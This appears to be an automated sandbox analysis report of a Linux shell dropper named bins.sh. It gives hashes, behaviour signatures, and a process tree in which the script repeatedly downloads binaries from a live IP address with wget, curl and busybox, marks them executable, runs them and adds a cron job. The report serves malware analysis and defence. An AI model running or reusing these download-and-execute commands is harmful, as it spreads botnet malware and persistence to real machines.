Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21-11-2024 14:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    50c4968b81b3ca09b6c7a1261db236d2

  • SHA1

    0f7f226afb91914d7134093e008a540c6a13953e

  • SHA256

    7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9

  • SHA512

    1cae6e0acb90eac7827241f53f8a412caf5af16bc4ed63cb2d464f0b6585abbd6dd78c98775c3ad7df701f3be201c69ee11949f831cf4f7eb4c2942e9d5e5026

  • SSDEEP

    96:y3DNXls+h4y2LLML8LE77dwdYd8Xd5dVdMJfamC8H7TH/b3DNEFGlse8VxOonYfy:y3DNDh4y2/KaE78GJD3DNwDNKaE89

Malware Config

Signatures

  • Contacts a large (1671) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            ./yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:770
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              ./518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Executes dropped EXE
              PID:787
            • /bin/rm
              rm 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
                PID:790
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:791
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                ./vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/chmod
                  chmod 777 aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  ./aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Executes dropped EXE
                  PID:824
                • /bin/rm
                  rm aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                    PID:826
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:837
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    ./rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:863
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:866
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:867
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:868
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:869
                        • /bin/rm
                          rm rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                          2⤵
                            PID:871
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                            2⤵
                              PID:874
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                              2⤵
                                PID:957
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • Writes file to tmp directory
                                PID:963
                              • /bin/chmod
                                chmod 777 sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • File and Directory Permissions Modification
                                PID:964
                              • /tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                ./sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • Executes dropped EXE
                                PID:965
                              • /bin/rm
                                rm sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                  PID:967
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
                                  2⤵
                                    PID:968

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                • /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /var/spool/cron/crontabs/tmp.hbVQaj

                                  Filesize

                                  210B

                                  MD5

                                  38a2300beb10e0603b094275bed6a1f4

                                  SHA1

                                  3f07546f0c3042b3b84d5d37fdcf6640348bacb8

                                  SHA256

                                  447a6b70f68ab0dbdcc47b301b6d817eaca0190c61465890145f8eb12161bf04

                                  SHA512

                                  051554c269587138b9d597c2a8d6bd8fca935beb9dcc21e293b87093726a3e0b615940221884abc04b4030896b72b80ab72787e6286921d436efe3c9006c7891